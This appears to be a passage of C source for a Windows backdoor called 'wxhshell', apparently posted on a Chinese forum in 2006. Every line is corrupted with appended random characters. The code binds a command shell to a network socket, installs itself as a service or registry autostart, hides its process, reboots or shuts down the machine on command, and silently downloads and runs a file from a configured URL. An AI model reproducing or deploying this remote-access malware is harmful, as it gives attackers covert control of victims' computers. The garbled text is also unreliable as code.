  case '?': { cR*~JwC:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *~b~y7C  
    break; {MDM=;WP_  
  } ]#G1 ]U  
  // 安装 FT-=^VA\  
  case 'i': { }n'W0 Sa  
    if(Install()) [ q[2\F?CE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Tk53 "  
    else tYSfeU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GZY:EHuz[  
    break; 2 &_>2"=<@  
    } &fU48n1Uh  
  // 卸载 nQa:t. rC  
  case 'r': { YQD/vc~8G  
    if(Uninstall()) ~@[<y1g?nG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @l5GBsLK  
    else 9jNh%raG|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R|wS*xd,  
    break; xj3{Ke`6  
    } f;Ijl0d@  
  // 显示 wxhshell 所在路径 >RpMw!NT  
  case 'p': { L 7LUy$M-<  
    char svExeFile[MAX_PATH]; :C,}DyZy  
    strcpy(svExeFile,"\n\r"); -pQ?ybQ  
      strcat(svExeFile,ExeFile); -C!m#"PDW  
        send(wsh,svExeFile,strlen(svExeFile),0); tT]mMlKJ  
    break; 5Nbq9YY  
    } 1\)lD(J\C  
  // 重启 Neii$  
  case 'b': { _g,_G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HnsLYY\  
    if(Boot(REBOOT)) BqdpJIr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+>$4Jq  
    else { n1PvZ~^3  
    closesocket(wsh); VRSBf;?  
    ExitThread(0); *m`x/_y+  
    } M 8(w+h{  
    break; Dqd2e&a\  
    } \0&$ n  
  // 关机 q]SH'Wd  
  case 'd': { Z$6B}cz<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ];N/KHeZ  
    if(Boot(SHUTDOWN)) PpF`0w=1%l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)*!&\Ch  
    else { hFhC&2HN  
    closesocket(wsh); ,wv>G]v  
    ExitThread(0); hPCSAo!|  
    } #MiO4zXgd  
    break; 8+32hg@^F  
    } we@*;k@_  
  // 获取shell U!JmSP  
  case 's': { B+pLW/4l  
    CmdShell(wsh); Wvl'O'R  
    closesocket(wsh); =@X?$>'  
    ExitThread(0); Y@T$O<*  
    break; fGe"1MfU  
  } W2M[w_~QE  
  // 退出 %dhrXK5  
  case 'x': { 1' dZ?`O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;sz_W%-;@  
    CloseIt(wsh); ApplWa3  
    break; (|3?wX'2U  
    } B8!$?1*^a  
  // 离开 R"\(a  
  case 'q': { #cb9g   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wjT#D|soI  
    closesocket(wsh); r/HG{XH`  
    WSACleanup(); Ea0EG>Y  
    exit(1); \nL@P6X  
    break; :/RvtmW  
        } ^$RpP+d  
  } z=8l@&hYLq  
  } {BJH}vV1)  
O-P`HKr  
  // 提示信息 !d[]Qt%mA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tq=M 9c  
} s:z  
  } [=u@6Y  
x@pzgqi3  
  return; &?}h)U#:  
} [[]NnWJ  
fWDTP|DV  
// shell模块句柄 ,">CPl]  
int CmdShell(SOCKET sock) -OKXfN]  
{ r'XWt]B+[  
STARTUPINFO si; vB5mOXGNq  
ZeroMemory(&si,sizeof(si)); %O7?:#_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #sbW^Q'I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {e0aH `me  
PROCESS_INFORMATION ProcessInfo; n-<`Z NMU  
char cmdline[]="cmd"; U2\k7I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OGq=OW  
  return 0; v^[!NygShs  
} c^5fhmlt  
zhyf}Ta'  
// 自身启动模式 -; i:bE  
int StartFromService(void) CL t(_!q  
{ d/YQ6oKU  
typedef struct &rc r>-  
{ m}6>F0Kv  
  DWORD ExitStatus; ZOx;]D"s  
  DWORD PebBaseAddress; S>"C}F$X  
  DWORD AffinityMask; 1WY$Vs  
  DWORD BasePriority; VwXR,(  
  ULONG UniqueProcessId; >}u#KBedE  
  ULONG InheritedFromUniqueProcessId; m&s;zQ  
}   PROCESS_BASIC_INFORMATION; gs~u8"B  
piIGSC  
PROCNTQSIP NtQueryInformationProcess; 4~WSIR-  
zXwdU5 8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,.L o)[(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PX?^v8wlqL  
]a:T]x6'  
  HANDLE             hProcess; a^VI)  
  PROCESS_BASIC_INFORMATION pbi; v)*eLX$  
a"k,x-EL(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ct3+ga$  
  if(NULL == hInst ) return 0; =~dsIG  
x"Ij+~i{l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V@1,((,l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c5[ ~2e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gDH|I;!  
E <r;J  
  if (!NtQueryInformationProcess) return 0; ZMK1V)ohn  
kkj_k:Eah  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zT hut!O  
  if(!hProcess) return 0; e)F_zX  
W)Yo-%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V<KjKa+sG  
vgr 5j  
  CloseHandle(hProcess); \,I{*!hw  
5?E;Yy A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J%E0Wd  
if(hProcess==NULL) return 0; clIn}wQ  
b}hQU~,E  
HMODULE hMod; 2D3mTpw  
char procName[255]; UK[+I]I p  
unsigned long cbNeeded; iciRlx.$c  
t*c_70|@k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HLE%f;  
MA7&fNjB  
  CloseHandle(hProcess); #vPk XcP  
u:^9ZQ+  
if(strstr(procName,"services")) return 1; // 以服务启动  Y@b|/+  
4%u\dTg/B  
  return 0; // 注册表启动 /j\.~=,_  
} F@ZB6~T~.  
j~hvPlho  
// 主模块 5ai$W`6  
int StartWxhshell(LPSTR lpCmdLine) tZr_{F@  
{ W9A F}  
  SOCKET wsl; >R\!Qk  
BOOL val=TRUE; 6%&w\<(SG  
  int port=0; 8%b-.O:_$  
  struct sockaddr_in door; z7Z!wIzJ  
;9uDV -"  
  if(wscfg.ws_autoins) Install(); }7qboUGe  
U(<~("ocN  
port=atoi(lpCmdLine); xp"F)6  
H.[(`wi!I  
if(port<=0) port=wscfg.ws_port; k{^iv:  
3E8 Gh>J_  
  WSADATA data; t0 T#Xb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R>,_C7]u  
'5 9{VA6h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * a VT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P_ b8_ydU  
  door.sin_family = AF_INET; #5^S@}e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >V&GL{  
  door.sin_port = htons(port); <?!%dV{z  
z,SNJIsx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F Zk[w>{  
closesocket(wsl); 3X1 U  
return 1; \YH*x`  
} w|ct="MG  
<I2~>x5db  
  if(listen(wsl,2) == INVALID_SOCKET) { v0%FG9Gk  
closesocket(wsl); 7+P-MT  
return 1; byIP]7Ld  
} {\ BFWGX  
  Wxhshell(wsl); "s\himoa  
  WSACleanup(); 7t6TB*H  
H*&!$s.  
return 0; iUf?MDE  
"u"?~  
} tLGNYW!K  
j<A; i  
// 以NT服务方式启动 +?0r%R%\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #23($CSE  
{ j|y"Lcq  
DWORD   status = 0; Kr%O}<"  
  DWORD   specificError = 0xfffffff; VQ4rEO=t  
^=w){]G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5^36nEoA(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e]7J_9t@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ov'C0e+o  
  serviceStatus.dwWin32ExitCode     = 0; a &hj|  
  serviceStatus.dwServiceSpecificExitCode = 0; #:[CF:  
  serviceStatus.dwCheckPoint       = 0; 9:*a9xT,  
  serviceStatus.dwWaitHint       = 0; 28 ;x5m)N  
{ b7%Zd3-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D (Q=EdlO  
  if (hServiceStatusHandle==0) return; )AAPT7!U  
6W N(Tw  
status = GetLastError(); 0C0ld!>r  
  if (status!=NO_ERROR) ~*RBMHs  
{ l>@){zxL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j.29nJ  
    serviceStatus.dwCheckPoint       = 0; gCW {$d1=  
    serviceStatus.dwWaitHint       = 0; sW@_q8lG  
    serviceStatus.dwWin32ExitCode     = status; xGK"`\V  
    serviceStatus.dwServiceSpecificExitCode = specificError; C*Dco{ EQ>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8s6^!e&  
    return; oBWa\N  
  } cb_nlG!  
IjRUL/\=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VOrBNu  
  serviceStatus.dwCheckPoint       = 0; }9Awv#+  
  serviceStatus.dwWaitHint       = 0; |Q#CQz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6b h.5|  
} e|.a%,Dcy  
 *l-F  
// 处理NT服务事件,比如:启动、停止 l gTw>r   
VOID WINAPI NTServiceHandler(DWORD fdwControl) n`|CD Kb  
{ Kl*/{&,P  
switch(fdwControl) WVh]<?GWXk  
{ 7iH%1f  
case SERVICE_CONTROL_STOP: :n$?wp  
  serviceStatus.dwWin32ExitCode = 0; $Q56~AP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Yny/O\e%  
  serviceStatus.dwCheckPoint   = 0; UAtdRVi]M  
  serviceStatus.dwWaitHint     = 0; s"0Hz"[^=  
  { pt9fOih[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >2LlBLQ  
  } Trml?zexD  
  return; :&$ WWv  
case SERVICE_CONTROL_PAUSE: )<^G]ajn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gqACIXR  
  break; 3qwSm <  
case SERVICE_CONTROL_CONTINUE: _S6SCSFc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xe<kdB3  
  break; rA1;DSw6E[  
case SERVICE_CONTROL_INTERROGATE: 5OHF=wh  
  break; X5o{d4R L  
}; O*hQP*Rs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J"yq)0  
} <l^#FH  
ZNY), 3?  
// 标准应用程序主函数 J8PZVeWx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }wV/)Oy[  
{ lgh+\pj  
3b1%^@,ACy  
// 获取操作系统版本 p|'Rm ]&jb  
OsIsNt=GetOsVer(); xU$15|ny  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '=>l& ;  
k\lU Q\/O5  
  // 从命令行安装 =42NQ{%@;  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?bl9e&/!  
!v]~ut !p  
  // 下载执行文件 _Wo(;'.  
if(wscfg.ws_downexe) { j9$kaEf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fZrB!\Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5Q@4@b{C  
} Ia*T*q Ju  
-v?)E S  
if(!OsIsNt) { ^uWj#  
// 如果时win9x,隐藏进程并且设置为注册表启动 n.xOu`gj  
HideProc(); t$b{zv9C  
StartWxhshell(lpCmdLine); OT}^dPQe  
} 0`"DYJ}d  
else RV, cQ K  
  if(StartFromService()) MF.$E?_R  
  // 以服务方式启动 \$D41_Wt|  
  StartServiceCtrlDispatcher(DispatchTable); ;F\sMf{  
else >&uR=Yd  
  // 普通方式启动 >I;J!{  
  StartWxhshell(lpCmdLine); vK8!V7o~h%  
[35>T3Ku  
return 0; 'V(9ein^Q  
}
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只看该作者 1 发表于: 2006-10-10
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